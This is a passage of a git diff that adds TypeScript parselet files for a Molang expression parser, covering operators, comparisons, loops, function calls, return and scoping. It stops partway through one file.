const prefix = this.prefixParselets.get(token.getType())
|
||||||
|
if (!prefix) {
|
||||||
|
throw new Error(
|
||||||
|
`Cannot parse ${token.getType()} expression "${token.getType()}"`
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
let expressionLeft = prefix.parse(this, token)
|
||||||
|
return this.parseInfixExpression(expressionLeft, precedence)
|
||||||
|
}
|
||||||
|
|
||||||
|
parseInfixExpression(expressionLeft: IExpression, precedence = 0) {
|
||||||
|
let token
|
||||||
|
|
||||||
|
while (this.getPrecedence() > precedence) {
|
||||||
|
token = this.consume()
|
||||||
|
let tokenType = token.getType()
|
||||||
|
if (tokenType === 'EQUALS' && !this.match('EQUALS')) {
|
||||||
|
tokenType = 'ASSIGN'
|
||||||
|
}
|
||||||
|
|
||||||
|
const infix = <IInfixParselet>this.infixParselets.get(tokenType)
|
||||||
|
if (!infix)
|
||||||
|
throw new Error(`Unknown infix parselet: "${tokenType}"`)
|
||||||
|
expressionLeft = infix.parse(this, expressionLeft, token)
|
||||||
|
}
|
||||||
|
|
||||||
|
return expressionLeft
|
||||||
|
}
|
||||||
|
|
||||||
|
getPrecedence() {
|
||||||
|
const parselet = this.infixParselets.get(this.lookAhead(0).getType())
|
||||||
|
return parselet?.precedence ?? 0
|
||||||
|
}
|
||||||
|
|
||||||
|
consume(expected?: TTokenType) {
|
||||||
|
//Sets the lastLineNumber & startColumn before consuming next token
|
||||||
|
//Used for getting the exact location an error occurs
|
||||||
|
// this.tokenIterator.step()
|
||||||
|
|
||||||
|
const token = this.lookAhead(0)
|
||||||
|
|
||||||
|
if (expected && token.getType() !== expected) {
|
||||||
|
throw new Error(
|
||||||
|
`Expected token "${expected}" and found "${token.getType()}"`
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
this.readTokens.shift()!
|
||||||
|
return token
|
||||||
|
}
|
||||||
|
|
||||||
|
match(expected: TTokenType, consume = true) {
|
||||||
|
const token = this.lookAhead(0)
|
||||||
|
if (token.getType() !== expected) return false
|
||||||
|
|
||||||
|
if (consume) this.consume()
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
lookAhead(distance: number) {
|
||||||
|
while (distance >= this.readTokens.length)
|
||||||
|
this.readTokens.push(this.tokenIterator.next())
|
||||||
|
|
||||||
|
return this.readTokens[distance]
|
||||||
|
}
|
||||||
|
|
||||||
|
registerInfix(tokenType: TTokenType, infixParselet: IInfixParselet) {
|
||||||
|
this.infixParselets.set(tokenType, infixParselet)
|
||||||
|
}
|
||||||
|
registerPrefix(tokenType: TTokenType, prefixParselet: IPrefixParselet) {
|
||||||
|
this.prefixParselets.set(tokenType, prefixParselet)
|
||||||
|
}
|
||||||
|
|
||||||
|
getInfix(tokenType: TTokenType) {
|
||||||
|
return this.infixParselets.get(tokenType)
|
||||||
|
}
|
||||||
|
getPrefix(tokenType: TTokenType) {
|
||||||
|
return this.prefixParselets.get(tokenType)
|
||||||
|
}
|
||||||
|
}
|
21
packages/molang/src/parser/parselets/andOperator.ts
Normal file
21
packages/molang/src/parser/parselets/andOperator.ts
Normal file
@ -0,0 +1,21 @@
|
|||||||
|
import { Parser } from '../parse'
|
||||||
|
import { Token } from '../../tokenizer/token'
|
||||||
|
import { IExpression } from '../expression'
|
||||||
|
import { GenericOperatorExpression } from '../expressions/genericOperator'
|
||||||
|
import { IInfixParselet } from './infix'
|
||||||
|
|
||||||
|
export class AndOperator implements IInfixParselet {
|
||||||
|
constructor(public precedence = 0) {}
|
||||||
|
|
||||||
|
parse(parser: Parser, leftExpression: IExpression, token: Token) {
|
||||||
|
if (parser.match('AND'))
|
||||||
|
return new GenericOperatorExpression(
|
||||||
|
leftExpression,
|
||||||
|
parser.parseExpression(this.precedence),
|
||||||
|
'&&',
|
||||||
|
(leftExpression: IExpression, rightExpression: IExpression) =>
|
||||||
|
leftExpression.eval() && rightExpression.eval()
|
||||||
|
)
|
||||||
|
else throw new Error(`"&" not followed by another "&"`)
|
||||||
|
}
|
||||||
|
}
|
22
packages/molang/src/parser/parselets/arrayAccess.ts
Normal file
22
packages/molang/src/parser/parselets/arrayAccess.ts
Normal file
@ -0,0 +1,22 @@
|
|||||||
|
import { Token } from '../../tokenizer/token'
|
||||||
|
import { Parser } from '../parse'
|
||||||
|
import { IInfixParselet } from './infix'
|
||||||
|
import { IExpression } from '../expression'
|
||||||
|
import { ArrayAccessExpression } from '../expressions/arrayAccess'
|
||||||
|
|
||||||
|
export class ArrayAccessParselet implements IInfixParselet {
|
||||||
|
constructor(public precedence = 0) {}
|
||||||
|
|
||||||
|
parse(parser: Parser, left: IExpression, token: Token) {
|
||||||
|
const expr = parser.parseExpression(this.precedence - 1)
|
||||||
|
|
||||||
|
if (!left.setPointer) throw new Error(`"${left.type}" is not an array`)
|
||||||
|
|
||||||
|
if (!parser.match('ARRAY_RIGHT'))
|
||||||
|
throw new Error(
|
||||||
|
`No closing bracket for opening bracket "[${expr.eval()}"`
|
||||||
|
)
|
||||||
|
|
||||||
|
return new ArrayAccessExpression(left, expr)
|
||||||
|
}
|
||||||
|
}
|
134
packages/molang/src/parser/parselets/binaryOperator.ts
Normal file
134
packages/molang/src/parser/parselets/binaryOperator.ts
Normal file
@ -0,0 +1,134 @@
|
|||||||
|
import { IInfixParselet } from './infix'
|
||||||
|
import { Parser } from '../parse'
|
||||||
|
import { IExpression } from '../expression'
|
||||||
|
import { Token } from '../../tokenizer/token'
|
||||||
|
import { GenericOperatorExpression } from '../expressions/genericOperator'
|
||||||
|
|
||||||
|
const plusHelper = (
|
||||||
|
leftExpression: IExpression,
|
||||||
|
rightExpression: IExpression
|
||||||
|
) => {
|
||||||
|
const leftValue = leftExpression.eval()
|
||||||
|
const rightValue = rightExpression.eval()
|
||||||
|
if (
|
||||||
|
!(typeof leftValue === 'number' || typeof leftValue === 'boolean') ||
|
||||||
|
!(typeof rightValue === 'number' || typeof rightValue === 'boolean')
|
||||||
|
)
|
||||||
|
throw new Error(
|
||||||
|
`Cannot use numeric operators for expression "${leftValue} + ${rightValue}"`
|
||||||
|
)
|
||||||
|
//@ts-ignore
|
||||||
|
return leftValue + rightValue
|
||||||
|
}
|
||||||
|
const minusHelper = (
|
||||||
|
leftExpression: IExpression,
|
||||||
|
rightExpression: IExpression
|
||||||
|
) => {
|
||||||
|
const leftValue = leftExpression.eval()
|
||||||
|
const rightValue = rightExpression.eval()
|
||||||
|
if (
|
||||||
|
!(typeof leftValue === 'number' || typeof leftValue === 'boolean') ||
|
||||||
|
!(typeof rightValue === 'number' || typeof rightValue === 'boolean')
|
||||||
|
)
|
||||||
|
throw new Error(
|
||||||
|
`Cannot use numeric operators for expression "${leftValue} - ${rightValue}"`
|
||||||
|
)
|
||||||
|
//@ts-ignore
|
||||||
|
return leftValue - rightValue
|
||||||
|
}
|
||||||
|
const divideHelper = (
|
||||||
|
leftExpression: IExpression,
|
||||||
|
rightExpression: IExpression
|
||||||
|
) => {
|
||||||
|
const leftValue = leftExpression.eval()
|
||||||
|
const rightValue = rightExpression.eval()
|
||||||
|
if (
|
||||||
|
!(typeof leftValue === 'number' || typeof leftValue === 'boolean') ||
|
||||||
|
!(typeof rightValue === 'number' || typeof rightValue === 'boolean')
|
||||||
|
)
|
||||||
|
throw new Error(
|
||||||
|
`Cannot use numeric operators for expression "${leftValue} / ${rightValue}"`
|
||||||
|
)
|
||||||
|
//@ts-ignore
|
||||||
|
return leftValue / rightValue
|
||||||
|
}
|
||||||
|
const multiplyHelper = (
|
||||||
|
leftExpression: IExpression,
|
||||||
|
rightExpression: IExpression
|
||||||
|
) => {
|
||||||
|
const leftValue = leftExpression.eval()
|
||||||
|
const rightValue = rightExpression.eval()
|
||||||
|
if (
|
||||||
|
!(typeof leftValue === 'number' || typeof leftValue === 'boolean') ||
|
||||||
|
!(typeof rightValue === 'number' || typeof rightValue === 'boolean')
|
||||||
|
)
|
||||||
|
throw new Error(
|
||||||
|
`Cannot use numeric operators for expression "${leftValue} * ${rightValue}"`
|
||||||
|
)
|
||||||
|
//@ts-ignore
|
||||||
|
return leftValue * rightValue
|
||||||
|
}
|
||||||
|
const assignHelper = (
|
||||||
|
leftExpression: IExpression,
|
||||||
|
rightExpression: IExpression
|
||||||
|
) => {
|
||||||
|
if (leftExpression.setPointer) {
|
||||||
|
leftExpression.setPointer(rightExpression.eval())
|
||||||
|
return 0
|
||||||
|
} else {
|
||||||
|
throw Error(`Cannot assign to ${leftExpression.type}`)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export class BinaryOperator implements IInfixParselet {
|
||||||
|
constructor(public precedence = 0) {}
|
||||||
|
|
||||||
|
parse(parser: Parser, leftExpression: IExpression, token: Token) {
|
||||||
|
const rightExpression = parser.parseExpression(this.precedence)
|
||||||
|
// return new AdditionExpression(leftExpression, rightExpression)
|
||||||
|
|
||||||
|
const tokenText = token.getText()
|
||||||
|
|
||||||
|
switch (tokenText) {
|
||||||
|
case '+':
|
||||||
|
return new GenericOperatorExpression(
|
||||||
|
leftExpression,
|
||||||
|
rightExpression,
|
||||||
|
tokenText,
|
||||||
|
plusHelper
|
||||||
|
)
|
||||||
|
case '-':
|
||||||
|
return new GenericOperatorExpression(
|
||||||
|
leftExpression,
|
||||||
|
rightExpression,
|
||||||
|
tokenText,
|
||||||
|
minusHelper
|
||||||
|
)
|
||||||
|
case '*':
|
||||||
|
return new GenericOperatorExpression(
|
||||||
|
leftExpression,
|
||||||
|
rightExpression,
|
||||||
|
tokenText,
|
||||||
|
multiplyHelper
|
||||||
|
)
|
||||||
|
case '/':
|
||||||
|
return new GenericOperatorExpression(
|
||||||
|
leftExpression,
|
||||||
|
rightExpression,
|
||||||
|
tokenText,
|
||||||
|
divideHelper
|
||||||
|
)
|
||||||
|
case '=': {
|
||||||
|
return new GenericOperatorExpression(
|
||||||
|
leftExpression,
|
||||||
|
rightExpression,
|
||||||
|
'=',
|
||||||
|
assignHelper
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
default:
|
||||||
|
throw new Error(`Operator not implemented`)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
12
packages/molang/src/parser/parselets/boolean.ts
Normal file
12
packages/molang/src/parser/parselets/boolean.ts
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
import { IPrefixParselet } from './prefix'
|
||||||
|
import { Token } from '../../tokenizer/token'
|
||||||
|
import { Parser } from '../parse'
|
||||||
|
import { BooleanExpression } from '../expressions/boolean'
|
||||||
|
|
||||||
|
export class BooleanParselet implements IPrefixParselet {
|
||||||
|
constructor(public precedence = 0) {}
|
||||||
|
|
||||||
|
parse(parser: Parser, token: Token) {
|
||||||
|
return new BooleanExpression(token.getText() === 'true')
|
||||||
|
}
|
||||||
|
}
|
12
packages/molang/src/parser/parselets/break.ts
Normal file
12
packages/molang/src/parser/parselets/break.ts
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
import { Parser } from '../parse'
|
||||||
|
import { Token } from '../../tokenizer/token'
|
||||||
|
import { IPrefixParselet } from './prefix'
|
||||||
|
import { BreakExpression } from '../expressions/break'
|
||||||
|
|
||||||
|
export class BreakParselet implements IPrefixParselet {
|
||||||
|
constructor(public precedence = 0) {}
|
||||||
|
|
||||||
|
parse(parser: Parser, token: Token) {
|
||||||
|
return new BreakExpression()
|
||||||
|
}
|
||||||
|
}
|
12
packages/molang/src/parser/parselets/continue.ts
Normal file
12
packages/molang/src/parser/parselets/continue.ts
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
import { Parser } from '../parse'
|
||||||
|
import { Token } from '../../tokenizer/token'
|
||||||
|
import { IPrefixParselet } from './prefix'
|
||||||
|
import { ContinueExpression } from '../expressions/continue'
|
||||||
|
|
||||||
|
export class ContinueParselet implements IPrefixParselet {
|
||||||
|
constructor(public precedence = 0) {}
|
||||||
|
|
||||||
|
parse(parser: Parser, token: Token) {
|
||||||
|
return new ContinueExpression()
|
||||||
|
}
|
||||||
|
}
|
19
packages/molang/src/parser/parselets/equals.ts
Normal file
19
packages/molang/src/parser/parselets/equals.ts
Normal file
@ -0,0 +1,19 @@
|
|||||||
|
import { Parser } from '../../parser/parse'
|
||||||
|
import { Token } from '../../tokenizer/token'
|
||||||
|
import { IExpression } from '../expression'
|
||||||
|
import { GenericOperatorExpression } from '../expressions/genericOperator'
|
||||||
|
import { IInfixParselet } from './infix'
|
||||||
|
|
||||||
|
export class EqualsOperator implements IInfixParselet {
|
||||||
|
constructor(public precedence = 0) {}
|
||||||
|
|
||||||
|
parse(parser: Parser, leftExpression: IExpression, token: Token) {
|
||||||
|
return new GenericOperatorExpression(
|
||||||
|
leftExpression,
|
||||||
|
parser.parseExpression(this.precedence),
|
||||||
|
'==',
|
||||||
|
(leftExpression: IExpression, rightExpression: IExpression) =>
|
||||||
|
leftExpression.eval() === rightExpression.eval()
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
29
packages/molang/src/parser/parselets/forEach.ts
Normal file
29
packages/molang/src/parser/parselets/forEach.ts
Normal file
@ -0,0 +1,29 @@
|
|||||||
|
import { Parser } from '../parse'
|
||||||
|
import { Token } from '../../tokenizer/token'
|
||||||
|
import { IPrefixParselet } from './prefix'
|
||||||
|
import { IExpression } from '../expression'
|
||||||
|
import { ForEachExpression } from '../expressions/forEach'
|
||||||
|
|
||||||
|
export class ForEachParselet implements IPrefixParselet {
|
||||||
|
constructor(public precedence = 0) {}
|
||||||
|
|
||||||
|
parse(parser: Parser, token: Token) {
|
||||||
|
parser.consume('LEFT_PARENT')
|
||||||
|
const args: IExpression[] = []
|
||||||
|
|
||||||
|
if (parser.match('RIGHT_PARENT'))
|
||||||
|
throw new Error(`for_each() called without arguments`)
|
||||||
|
|
||||||
|
do {
|
||||||
|
args.push(parser.parseExpression())
|
||||||
|
} while (parser.match('COMMA'))
|
||||||
|
parser.consume('RIGHT_PARENT')
|
||||||
|
|
||||||
|
if (args.length !== 3)
|
||||||
|
throw new Error(
|
||||||
|
`There must be exactly three for_each() arguments; found ${args.length}`
|
||||||
|
)
|
||||||
|
|
||||||
|
return new ForEachExpression(args[0], args[1], args[2])
|
||||||
|
}
|
||||||
|
}
|
26
packages/molang/src/parser/parselets/function.ts
Normal file
26
packages/molang/src/parser/parselets/function.ts
Normal file
@ -0,0 +1,26 @@
|
|||||||
|
import { Token } from '../../tokenizer/token'
|
||||||
|
import { Parser } from '../parse'
|
||||||
|
import { IInfixParselet } from './infix'
|
||||||
|
import { IExpression } from '../expression'
|
||||||
|
import { FunctionExpression } from '../expressions/function'
|
||||||
|
|
||||||
|
export class FunctionParselet implements IInfixParselet {
|
||||||
|
constructor(public precedence = 0) {}
|
||||||
|
|
||||||
|
parse(parser: Parser, left: IExpression, token: Token) {
|
||||||
|
const args: IExpression[] = []
|
||||||
|
|
||||||
|
if (!left.setFunctionCall)
|
||||||
|
throw new Error(`${left.type} is not callable!`)
|
||||||
|
left.setFunctionCall(true)
|
||||||
|
|
||||||
|
if (!parser.match('RIGHT_PARENT')) {
|
||||||
|
do {
|
||||||
|
args.push(parser.parseExpression())
|
||||||
|
} while (parser.match('COMMA'))
|
||||||
|
parser.consume('RIGHT_PARENT')
|
||||||
|
}
|
||||||
|
|
||||||
|
return new FunctionExpression(left, args)
|
||||||
|
}
|
||||||
|
}
|
31
packages/molang/src/parser/parselets/greaterOperator.ts
Normal file
31
packages/molang/src/parser/parselets/greaterOperator.ts
Normal file
@ -0,0 +1,31 @@
|
|||||||
|
import { Parser } from '../parse'
|
||||||
|
import { Token } from '../../tokenizer/token'
|
||||||
|
import { IExpression } from '../expression'
|
||||||
|
import { GenericOperatorExpression } from '../expressions/genericOperator'
|
||||||
|
import { IInfixParselet } from './infix'
|
||||||
|
|
||||||
|
export class GreaterOperator implements IInfixParselet {
|
||||||
|
constructor(public precedence = 0) {}
|
||||||
|
|
||||||
|
parse(parser: Parser, leftExpression: IExpression, token: Token) {
|
||||||
|
if (parser.match('EQUALS'))
|
||||||
|
return new GenericOperatorExpression(
|
||||||
|
leftExpression,
|
||||||
|
parser.parseExpression(this.precedence),
|
||||||
|
'>=',
|
||||||
|
(leftExpression: IExpression, rightExpression: IExpression) =>
|
||||||
|
// @ts-ignore
|
||||||
|
leftExpression.eval() >= rightExpression.eval()
|
||||||
|
)
|
||||||
|
else {
|
||||||
|
return new GenericOperatorExpression(
|
||||||
|
leftExpression,
|
||||||
|
parser.parseExpression(this.precedence),
|
||||||
|
'>',
|
||||||
|
(leftExpression: IExpression, rightExpression: IExpression) =>
|
||||||
|
// @ts-ignore
|
||||||
|
leftExpression.eval() > rightExpression.eval()
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
18
packages/molang/src/parser/parselets/groupParselet.ts
Normal file
18
packages/molang/src/parser/parselets/groupParselet.ts
Normal file
@ -0,0 +1,18 @@
|
|||||||
|
import { IPrefixParselet } from './prefix'
|
||||||
|
import { Token } from '../../tokenizer/token'
|
||||||
|
import { Parser } from '../parse'
|
||||||
|
import { GroupExpression } from '../expressions/group'
|
||||||
|
|
||||||
|
export class GroupParselet implements IPrefixParselet {
|
||||||
|
constructor(public precedence = 0) {}
|
||||||
|
|
||||||
|
parse(parser: Parser, token: Token) {
|
||||||
|
const expression = parser.parseExpression(this.precedence)
|
||||||
|
parser.consume('RIGHT_PARENT')
|
||||||
|
|
||||||
|
if (parser.config.keepGroups)
|
||||||
|
return new GroupExpression(expression, '()')
|
||||||
|
|
||||||
|
return expression
|
||||||
|
}
|
||||||
|
}
|
8
packages/molang/src/parser/parselets/infix.ts
Normal file
8
packages/molang/src/parser/parselets/infix.ts
Normal file
@ -0,0 +1,8 @@
|
|||||||
|
import { Parser } from '../parse'
|
||||||
|
import { IExpression } from '../expression'
|
||||||
|
import { Token } from '../../tokenizer/token'
|
||||||
|
|
||||||
|
export interface IInfixParselet {
|
||||||
|
readonly precedence: number
|
||||||
|
parse: (parser: Parser, left: IExpression, token: Token) => IExpression
|
||||||
|
}
|
29
packages/molang/src/parser/parselets/loop.ts
Normal file
29
packages/molang/src/parser/parselets/loop.ts
Normal file
@ -0,0 +1,29 @@
|
|||||||
|
import { Parser } from '../parse'
|
||||||
|
import { Token } from '../../tokenizer/token'
|
||||||
|
import { IPrefixParselet } from './prefix'
|
||||||
|
import { IExpression } from '../expression'
|
||||||
|
import { LoopExpression } from '../expressions/loop'
|
||||||
|
|
||||||
|
export class LoopParselet implements IPrefixParselet {
|
||||||
|
constructor(public precedence = 0) {}
|
||||||
|
|
||||||
|
parse(parser: Parser, token: Token) {
|
||||||
|
parser.consume('LEFT_PARENT')
|
||||||
|
const args: IExpression[] = []
|
||||||
|
|
||||||
|
if (parser.match('RIGHT_PARENT'))
|
||||||
|
throw new Error(`loop() called without arguments`)
|
||||||
|
|
||||||
|
do {
|
||||||
|
args.push(parser.parseExpression())
|
||||||
|
} while (parser.match('COMMA'))
|
||||||
|
parser.consume('RIGHT_PARENT')
|
||||||
|
|
||||||
|
if (args.length !== 2)
|
||||||
|
throw new Error(
|
||||||
|
`There must be exactly two loop() arguments; found ${args.length}`
|
||||||
|
)
|
||||||
|
|
||||||
|
return new LoopExpression(args[0], args[1])
|
||||||
|
}
|
||||||
|
}
|
43
packages/molang/src/parser/parselets/name.ts
Normal file
43
packages/molang/src/parser/parselets/name.ts
Normal file
@ -0,0 +1,43 @@
|
|||||||
|
import { IPrefixParselet } from './prefix'
|
||||||
|
import { Token } from '../../tokenizer/token'
|
||||||
|
import { Parser } from '../parse'
|
||||||
|
import { NameExpression } from '../expressions/name'
|
||||||
|
import { ContextSwitchExpression } from '../expressions/contextSwitch'
|
||||||
|
|
||||||
|
export class NameParselet implements IPrefixParselet {
|
||||||
|
constructor(public precedence = 0) {}
|
||||||
|
|
||||||
|
parse(parser: Parser, token: Token) {
|
||||||
|
const nameExpr = new NameExpression(
|
||||||
|
parser.executionEnv,
|
||||||
|
token.getText()
|
||||||
|
)
|
||||||
|
const nextTokens = <const>[parser.lookAhead(0), parser.lookAhead(1)]
|
||||||
|
|
||||||
|
// Context switching operator "->"
|
||||||
|
if (
|
||||||
|
nextTokens[0].getType() === 'MINUS' &&
|
||||||
|
nextTokens[1].getType() === 'GREATER'
|
||||||
|
) {
|
||||||
|
parser.consume('MINUS')
|
||||||
|
parser.consume('GREATER')
|
||||||
|
|
||||||
|
const nameToken = parser.lookAhead(0)
|
||||||
|
if (nameToken.getType() !== 'NAME')
|
||||||
|
throw new Error(
|
||||||
|
`Cannot use context switch operator "->" on ${parser.lookAhead(
|
||||||
|
0
|
||||||
|
)}`
|
||||||
|
)
|
||||||
|
|
||||||
|
parser.consume('NAME')
|
||||||
|
|
||||||
|
return new ContextSwitchExpression(
|
||||||
|
nameExpr,
|
||||||
|
new NameExpression(parser.executionEnv, nameToken.getText())
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
return nameExpr
|
||||||
|
}
|
||||||
|
}
|
23
packages/molang/src/parser/parselets/notEquals.ts
Normal file
23
packages/molang/src/parser/parselets/notEquals.ts
Normal file
@ -0,0 +1,23 @@
|
|||||||
|
import { Parser } from '../parse'
|
||||||
|
import { Token } from '../../tokenizer/token'
|
||||||
|
import { IExpression } from '../expression'
|
||||||
|
import { GenericOperatorExpression } from '../expressions/genericOperator'
|
||||||
|
import { IInfixParselet } from './infix'
|
||||||
|
|
||||||
|
export class NotEqualsOperator implements IInfixParselet {
|
||||||
|
constructor(public precedence = 0) {}
|
||||||
|
|
||||||
|
parse(parser: Parser, leftExpression: IExpression, token: Token) {
|
||||||
|
if (parser.match('EQUALS')) {
|
||||||
|
return new GenericOperatorExpression(
|
||||||
|
leftExpression,
|
||||||
|
parser.parseExpression(this.precedence),
|
||||||
|
'!=',
|
||||||
|
(leftExpression: IExpression, rightExpression: IExpression) =>
|
||||||
|
leftExpression.eval() !== rightExpression.eval()
|
||||||
|
)
|
||||||
|
} else {
|
||||||
|
throw new Error(`! was used as a binary operator`)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
12
packages/molang/src/parser/parselets/number.ts
Normal file
12
packages/molang/src/parser/parselets/number.ts
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
import { IPrefixParselet } from './prefix'
|
||||||
|
import { Token } from '../../tokenizer/token'
|
||||||
|
import { Parser } from '../parse'
|
||||||
|
import { NumberExpression } from '../expressions/number'
|
||||||
|
|
||||||
|
export class NumberParselet implements IPrefixParselet {
|
||||||
|
constructor(public precedence = 0) {}
|
||||||
|
|
||||||
|
parse(parser: Parser, token: Token) {
|
||||||
|
return new NumberExpression(Number(token.getText()))
|
||||||
|
}
|
||||||
|
}
|
21
packages/molang/src/parser/parselets/orOperator.ts
Normal file
21
packages/molang/src/parser/parselets/orOperator.ts
Normal file
@ -0,0 +1,21 @@
|
|||||||
|
import { Parser } from '../parse'
|
||||||
|
import { Token } from '../../tokenizer/token'
|
||||||
|
import { IExpression } from '../expression'
|
||||||
|
import { GenericOperatorExpression } from '../expressions/genericOperator'
|
||||||
|
import { IInfixParselet } from './infix'
|
||||||
|
|
||||||
|
export class OrOperator implements IInfixParselet {
|
||||||
|
constructor(public precedence = 0) {}
|
||||||
|
|
||||||
|
parse(parser: Parser, leftExpression: IExpression, token: Token) {
|
||||||
|
if (parser.match('OR'))
|
||||||
|
return new GenericOperatorExpression(
|
||||||
|
leftExpression,
|
||||||
|
parser.parseExpression(this.precedence),
|
||||||
|
'||',
|
||||||
|
(leftExpression: IExpression, rightExpression: IExpression) =>
|
||||||
|
leftExpression.eval() || rightExpression.eval()
|
||||||
|
)
|
||||||
|
else throw new Error(`"|" not followed by another "|"`)
|
||||||
|
}
|
||||||
|
}
|
3
packages/molang/src/parser/parselets/postfix.ts
Normal file
3
packages/molang/src/parser/parselets/postfix.ts
Normal file
@ -0,0 +1,3 @@
|
|||||||
|
import { IInfixParselet } from './infix'
|
||||||
|
|
||||||
|
export interface IPostfixParselet extends IInfixParselet {}
|
20
packages/molang/src/parser/parselets/prefix.ts
Normal file
20
packages/molang/src/parser/parselets/prefix.ts
Normal file
@ -0,0 +1,20 @@
|
|||||||
|
import { Parser } from '../parse'
|
||||||
|
import { IExpression } from '../expression'
|
||||||
|
import { Token } from '../../tokenizer/token'
|
||||||
|
import { PrefixExpression } from '../expressions/prefix'
|
||||||
|
|
||||||
|
export interface IPrefixParselet {
|
||||||
|
readonly precedence: number
|
||||||
|
parse: (parser: Parser, token: Token) => IExpression
|
||||||
|
}
|
||||||
|
|
||||||
|
export class PrefixOperator implements IPrefixParselet {
|
||||||
|
constructor(public precedence = 0) {}
|
||||||
|
|
||||||
|
parse(parser: Parser, token: Token) {
|
||||||
|
return new PrefixExpression(
|
||||||
|
token.getType(),
|
||||||
|
parser.parseExpression(this.precedence)
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
26
packages/molang/src/parser/parselets/questionOperator.ts
Normal file
26
packages/molang/src/parser/parselets/questionOperator.ts
Normal file
@ -0,0 +1,26 @@
|
|||||||
|
import { Parser } from '../parse'
|
||||||
|
import { Token } from '../../tokenizer/token'
|
||||||
|
import { IExpression } from '../expression'
|
||||||
|
import { GenericOperatorExpression } from '../expressions/genericOperator'
|
||||||
|
import { IInfixParselet } from './infix'
|
||||||
|
import { TernaryParselet } from './ternary'
|
||||||
|
import { EPrecedence } from '../precedence'
|
||||||
|
|
||||||
|
const ternaryParselet = new TernaryParselet(EPrecedence.CONDITIONAL)
|
||||||
|
export class QuestionOperator implements IInfixParselet {
|
||||||
|
constructor(public precedence = 0) {}
|
||||||
|
|
||||||
|
parse(parser: Parser, leftExpression: IExpression, token: Token) {
|
||||||
|
if (parser.match('QUESTION')) {
|
||||||
|
return new GenericOperatorExpression(
|
||||||
|
leftExpression,
|
||||||
|
parser.parseExpression(this.precedence),
|
||||||
|
'??',
|
||||||
|
(leftExpression: IExpression, rightExpression: IExpression) =>
|
||||||
|
leftExpression.eval() ?? rightExpression.eval()
|
||||||
|
)
|
||||||
|
} else {
|
||||||
|
return ternaryParselet.parse(parser, leftExpression, token)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
18
packages/molang/src/parser/parselets/return.ts
Normal file
18
packages/molang/src/parser/parselets/return.ts
Normal file
@ -0,0 +1,18 @@
|
|||||||
|
import { Parser } from '../parse'
|
||||||
|
import { Token } from '../../tokenizer/token'
|
||||||
|
import { IPrefixParselet } from './prefix'
|
||||||
|
import { NumberExpression } from '../expressions/number'
|
||||||
|
import { ReturnExpression } from '../expressions/return'
|
||||||
|
import { EPrecedence } from '../precedence'
|
||||||
|
|
||||||
|
export class ReturnParselet implements IPrefixParselet {
|
||||||
|
constructor(public precedence = 0) {}
|
||||||
|
|
||||||
|
parse(parser: Parser, token: Token) {
|
||||||
|
const expr = parser.parseExpression(EPrecedence.STATEMENT + 1)
|
||||||
|
|
||||||
|
return new ReturnExpression(
|
||||||
|
parser.match('SEMICOLON', false) ? expr : new NumberExpression(0)
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
22
packages/molang/src/parser/parselets/scope.ts
Normal file
22
packages/molang/src/parser/parselets/scope.ts
Normal file
@ -0,0 +1,22 @@
|
|||||||
|
import { Parser } from '../parse'
|
||||||
|
import { Token } from '../../tokenizer/token'
|
||||||
|
import { IPrefixParselet } from './prefix'
|
||||||
|
import { GroupExpression } from '../expressions/group'
|
||||||
|
|
||||||
|
export class ScopeParselet implements IPrefixParselet {
|
||||||
|
constructor(public precedence = 0) {}
|
||||||
|
|
||||||
|
parse(parser: Parser, token: Token) {
|
||||||
|
let expr = parser.parseExpression(this.precedence)
|
||||||
|
|
||||||
|
if (
|
||||||
|
parser.config.useOptimizer &&
|
||||||
|
parser.config.earlyReturnsSkipTokenization &&
|
||||||
|
expr.isReturn
|
||||||
|
)
|
||||||
|
parser.match('CURLY_RIGHT')
|
||||||
|
else parser.consume('CURLY_RIGHT')
|
||||||
|
|
||||||
|
return parser.config.keepGroups ? new GroupExpression(expr, '{}') : expr
|
||||||
|
}
|
||||||
|
}
|
31
packages/molang/src/parser/parselets/smallerOperator.ts
Normal file
31
packages/molang/src/parser/parselets/smallerOperator.ts
Normal file
@ -0,0 +1,31 @@
|
|||||||
|
import { Parser } from '../parse'
|
||||||
|
import { Token } from '../../tokenizer/token'
|
||||||
|
import { IExpression } from '../expression'
|
||||||
|
import { GenericOperatorExpression } from '../expressions/genericOperator'
|
||||||
|
import { IInfixParselet } from './infix'
|
||||||
|
|
||||||
|
export class SmallerOperator implements IInfixParselet {
|
||||||
|
constructor(public precedence = 0) {}
|
||||||
|
|
||||||
|
parse(parser: Parser, leftExpression: IExpression, token: Token) {
|
||||||
|
if (parser.match('EQUALS'))
|
||||||
|
return new GenericOperatorExpression(
|
||||||
|
leftExpression,
|
||||||
|
parser.parseExpression(this.precedence),
|
||||||
|
'<=',
|
||||||
|
(leftExpression: IExpression, rightExpression: IExpression) =>
|
||||||
|
// @ts-ignore
|
||||||
|
leftExpression.eval() <= rightExpression.eval()
|
||||||
|
)
|
||||||
|
else {
|
||||||
|
return new GenericOperatorExpression(
|
||||||
|
leftExpression,
|
||||||
|
parser.parseExpression(this.precedence),
|
||||||
|
'<',
|
||||||
|
(leftExpression: IExpression, rightExpression: IExpression) =>
|
||||||
|
// @ts-ignore
|
||||||
|
leftExpression.eval() < rightExpression.eval()
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
84
packages/molang/src/parser/parselets/statement.ts
Normal file
84
packages/molang/src/parser/parselets/statement.ts
Normal file
@ -0,0 +1,84 @@
|
|||||||
|
import { Parser } from '../parse'
|
||||||
|
import { IExpression } from '../expression'
|
||||||
|
import { Token } from '../../tokenizer/token'
|
